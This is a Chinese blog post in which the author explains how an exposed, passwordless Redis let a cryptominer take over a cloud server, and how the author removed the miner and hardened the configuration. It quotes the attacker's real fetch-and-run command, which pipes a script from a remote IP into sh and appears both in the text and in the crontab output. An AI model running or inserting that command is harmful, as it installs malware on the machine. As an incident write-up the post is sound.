为了账号安全,请及时绑定邮箱和手机立即绑定

阿里云ECS 被恶意挖矿程序使用ddgs.3013

2018.11.11 13:18 823浏览

前言

笔者在阿里云购置了一套ECS,Linux属于入门级别,在安装了Redis的因为配置文件不当,导致被恶意挖矿程序钻了空子,成功的让我的服务器也当了回肉鸡。为了避免还有朋友 出现类似问题,在此记录本次与这个小木马斗智斗勇的过程

1.问题描述

阿里云盾告警信息,手机接收到告警信息时候一脸懵逼,我一个小小的服务器也能被攻击,只能说网络安全很重要,问题描述如下,回想了一下,redis安装后配置文件,只改了一处,就是让redis后台运行,其他配置文件都没有改动(正是因为没有改动,所以才导致以下一系列的问题)


13220279-f622ff467f470790.png

2.远程SSH连上主机定位问题

SSH连上阿里云主机,第一反应是卡顿,顿感大事不妙。表面看似毫无波澜,内心其实慌得一批。无奈Linux小白一个,只能边靠着度娘,边发挥自己的想象力,看看哪里出了问题

(1)top指令,查看系统进程,占用情况

08714dc39ec88d97784aed4327d88db.png

发现异常进程,就是qW3xT.2这个进程搞得服务器cpu占用率高达百分之百,主机自然卡的不行啊。心中那个 气啊,简单粗暴先给它一个kill

kill -9 qW3xT.2(pid)

本以为搞定了,结果再次top查看进程,异常进程竟然死灰复燃了,真的是够顽固。看来还是没找到问题根源,治标不治本

(2)消灭定时任务,让主机不再重启进程

网上查阅了一翻资料后,发现原来是攻击者通过Redis无密码登录,并且我的redis.conf配置任意IP访问,这才使得攻击者有机可乘

# bind 192.168.1.100 10.0.0.1# bind 127.0.0.1

目前全球很多主机仍然保持Redis的端口暴露在公网上,也就会引起同类型问题

攻击者首先通过侵入Redis,控制主机,利用主机下载一段脚本

curl -fsSL http://149.56.106.215:8000/i.sh | sh

该脚本正是通过定时任务在目标主机上种下恶意挖矿程序,占用cpu资源。并且当你kill掉异常进程时,还会引发定时任务监听,重启该进程,真是防不胜防。知晓其原理后,解决起来也是顺畅了许多。

[root@vayneluo redis-2.8.17]# crontab -lcurl -fsSL http://149.56.106.215:8000/i.sh | sh[root@vayneluo redis-2.8.17]#

查看系统内确实有这个定时任务,一般是美国的IP,检查/var/spool/cron/root和/var/spool/cron/root 和 /var/spool/cron/crontabs/root ,删除crontab内容,消灭定时任务,

删除目标进程,同时为避免问题仍在,建议做以下处理

cd /tmp/

rm qW3xT.2

rm -rf ddgs.3011

touch qW3xT.2

touch ddgs.3011

chattr +i qW3xT.2

chattr +i ddgs*

3.问题解决

至此,问题得以解决。另外针对Redis的配置,也换成了除本机访问,并且指定固定IP访问Redis,如果有的同学觉得还是不够安全。还可以设置redis.conf 里requirepass字段设置密码,为你的Redis加强防御.有兴趣的同学可以尝试设置linux防火墙,配置固定IP访问

root@vayneluo redis-2.8.17]# iptables -LChain INPUT (policy ACCEPT)

target    prot opt source              destination       

ACCEPT    tcp  --  localhost            anywhere            tcp dpt:6379

ACCEPT    tcp  --  固定IP       anywhere            tcp dpt:6379

REJECT    tcp  --  anywhere            anywhere            tcp dpt:6379 reject-with icmp-    port-unreachable

Chain FORWARD (policy ACCEPT)

target    prot opt source              destination       

Chain OUTPUT (policy ACCEPT)

target    prot opt source              destination       

[root@vayneluo redis-2.8.17]#



作者:东方月初zzZ
链接:https://www.jianshu.com/p/2ebbb89403fc


点击查看更多内容
0人点赞

若觉得本文不错,就分享一下吧!

评论

相关文章推荐

正在加载中
意见反馈 帮助中心 APP下载
官方微信

举报

0/150
提交
取消